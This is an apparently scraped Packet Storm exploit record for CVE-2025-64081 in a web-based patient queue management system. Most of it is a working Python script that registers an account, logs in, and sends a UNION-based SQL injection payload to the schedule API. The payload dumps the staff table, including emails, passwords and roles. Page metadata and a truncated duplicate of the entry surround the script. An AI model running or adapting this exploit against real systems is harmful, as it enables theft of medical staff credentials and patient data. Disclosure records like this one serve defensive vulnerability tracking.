{“lastseen”:”2025-11-13T16:17:13″,”description”:”Patients………………………………”,”published”:”2025-11-13T00:00:00″,”modified”:”2025-11-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Patients Waiting Area Queue Management System 1.0 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:211592″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-64081″],”sourceData”:”# Exploit Title: Patients Waiting Area Queue Management System v1.0 – SQL Injection\\n # Exploit Author: Deva Parekh (pr0f)\\n # Date: October 23, 2025\\n # Vendor Homepage: https:\/\/www.sourcecodester.com\/php\/18348\/patients-waiting-area-queue-management-system.html\\n # Software Link: https:\/\/www.sourcecodester.com\/download-code?nid=18348\\u0026title=+Patients+Waiting+Area+Queue+Management+System\\n # Tested on: Kali Linux, Apache, Mysql\\n # Vendor: sourcecodester\\n # Version: v1.0\\n # Exploit Description:\\n # Patients Waiting Area Queue Management System v1.0 suffers from an SQL Injection that allows an attacker dump contents from the database.\\n \\n import requests, json, sys\\n from typing import Sequence, Iterable\\n \\n def _to_cell_str(value) -\\u003e str:\\n if value is None:\\n return \\”\\”\\n s = str(value)\\n return \\” \\”.join(s.splitlines())\\n \\n def _format_cell(text: str, width: int, align: str) -\\u003e str:\\n if align == \\”right\\”:\\n return text.rjust(width)\\n if align == \\”center\\”:\\n return text.center(width)\\n return text.ljust(width)\\n \\n def print_table(rows: Iterable[Sequence], headers: Sequence = None,\\n align: Sequence[str] = None, padding: int = 1):\\n rows = [list(map(_to_cell_str, r)) for r in rows]\\n ncols = max((len(r) for r in rows), default=0)\\n if headers:\\n headers = list(map(_to_cell_str, headers))\\n ncols = max(ncols, len(headers))\\n \\n for r in rows:\\n if len(r) \\u003c ncols:\\n r.extend([\\”\\”] * (ncols – len(r)))\\n if headers and len(headers) \\u003c ncols:\\n headers.extend([\\”\\”] * (ncols – len(headers)))\\n \\n if not align:\\n aligns = [\\”left\\”] * ncols\\n else:\\n aligns = list(align)\\n if len(aligns) \\u003c ncols:\\n aligns.extend([aligns[-1]] * (ncols – len(aligns)))\\n \\n \\n col_widths = [0] * ncols\\n for col in range(ncols):\\n if headers:\\n col_widths[col] = max(col_widths[col], len(headers[col]))\\n for r in rows:\\n col_widths[col] = max(col_widths[col], len(r[col]))\\n \\n pad = \\” \\” * padding\\n \\n def make_sep():\\n parts = [\\”+\\”]\\n for w in col_widths:\\n parts.append(\\”-\\” * (w + padding * 2))\\n parts.append(\\”+\\”)\\n return \\”\\”.join(parts)\\n \\n sep = make_sep()\\n \\n print(sep)\\n if headers:\\n parts = [\\”|\\”]\\n for i in range(ncols):\\n parts.append(pad + _format_cell(headers[i], col_widths[i], aligns[i]) + pad)\\n parts.append(\\”|\\”)\\n print(\\”\\”.join(parts))\\n print(sep)\\n \\n for r in rows:\\n parts = [\\”|\\”]\\n for i in range(ncols):\\n parts.append(pad + _format_cell(r[i], col_widths[i], aligns[i]) + pad)\\n parts.append(\\”|\\”)\\n print(\\”\\”.join(parts))\\n print(sep)\\n \\n def register_user(session, user):\\n headers = {‘Content-Type’ : ‘application\/json’}\\n session.post(f’http:\/\/{target}\/php\/api_register_staff.php’, json=user, headers=headers)\\n \\n def login(session, user):\\n headers = {‘Content-Type’ : ‘application\/x-www-form-urlencoded’}\\n payload = f’email={user[’email’]}\\u0026password={user[‘password’]}’\\n session.post(f’http:\/\/{target}\/php\/api_register_staff.php’, data=payload, headers=headers)\\n \\n def exploit_sqli(session):\\n sql_payload = \\”5′ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,id,email,NULL,password,NULL,NULL,NULL,NULL,NULL,first_name,last_name,role,NULL,is_active from staff– \\”\\n rep = session.get(f’http:\/\/{target}\/php\/api_patient_schedule.php?appointmentID={sql_payload}’, allow_redirects=False)\\n return json.loads(rep.content.decode(\\”utf-8\\”).rstrip())\\n \\n def convert_to_row(dump):\\n rows = [(a[‘time’], a[‘doctor’], a[‘appointment_date’], a[‘reason’], a[‘fullname’], a[‘appointment’]) for a in dump[‘appointment’]]\\n return rows\\n \\n def print_sig():\\n print(”)\\n print(‘\u250f\u2501\u2513\u250f\u2501\u2513\u250f\u2501\u2513\u250f\u2501\u2578’)\\n print(‘\u2523\u2501\u251b\u2523\u2533\u251b\u2503\u2503\u2503\u2523\u2578 ‘)\\n print(‘\u2579 \u2579\u2517\u2578\u2517\u2501\u251b\u2579 ‘)\\n print(‘~ https:\/\/github.com\/pr0f94’)\\n print(‘~ Patients Waiting Area Queue Management System v1 – union sqli’)\\n print(”)\\n \\n if __name__ == \\”__main__\\”:\\n headers = [\\”id\\”, \\”first_name last_name\\”, \\”email\\”, \\”password\\”, \\”role\\”, \\”is_active\\”]\\n user = {\\”firstName\\”:\\”pr0f\\”,\\”lastName\\”:\\”pr0f\\”,\\”email\\”:\\”pr0f@hotmail.com\\”,\\”password\\”:\\”getr3kt\\”,\\”role\\”:\\”doctor\\”}\\n \\n print_sig()\\n \\n target = sys.argv[1]\\n s = requests.Session()\\n \\n print(‘– Registering new user’)\\n register_user(s, user)\\n print(‘– Logging in as user’)\\n login(s, user)\\n print(‘– Exploiting sqli to dump staff table’)\\n table_dump = exploit_sqli(s)\\n rows = convert_to_row(table_dump)\\n print(”)\\n print_table(rows, headers=headers)”,”sourceHref”:”https:\/\/packetstorm.news\/download\/211592″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/211592\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-13T16:17:13″,”description”:”Patients………………………………”,”published”:”2025-11-13T00:00:00″,”modified”:”2025-11-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Patients Waiting Area Queue Management System 1.0 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:211592″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-64081″],”sourceData”:”# Exploit Title: Patients Waiting Area Queue Management System v1.0 – SQL Injection\\n # Exploit Author:…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-26123","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n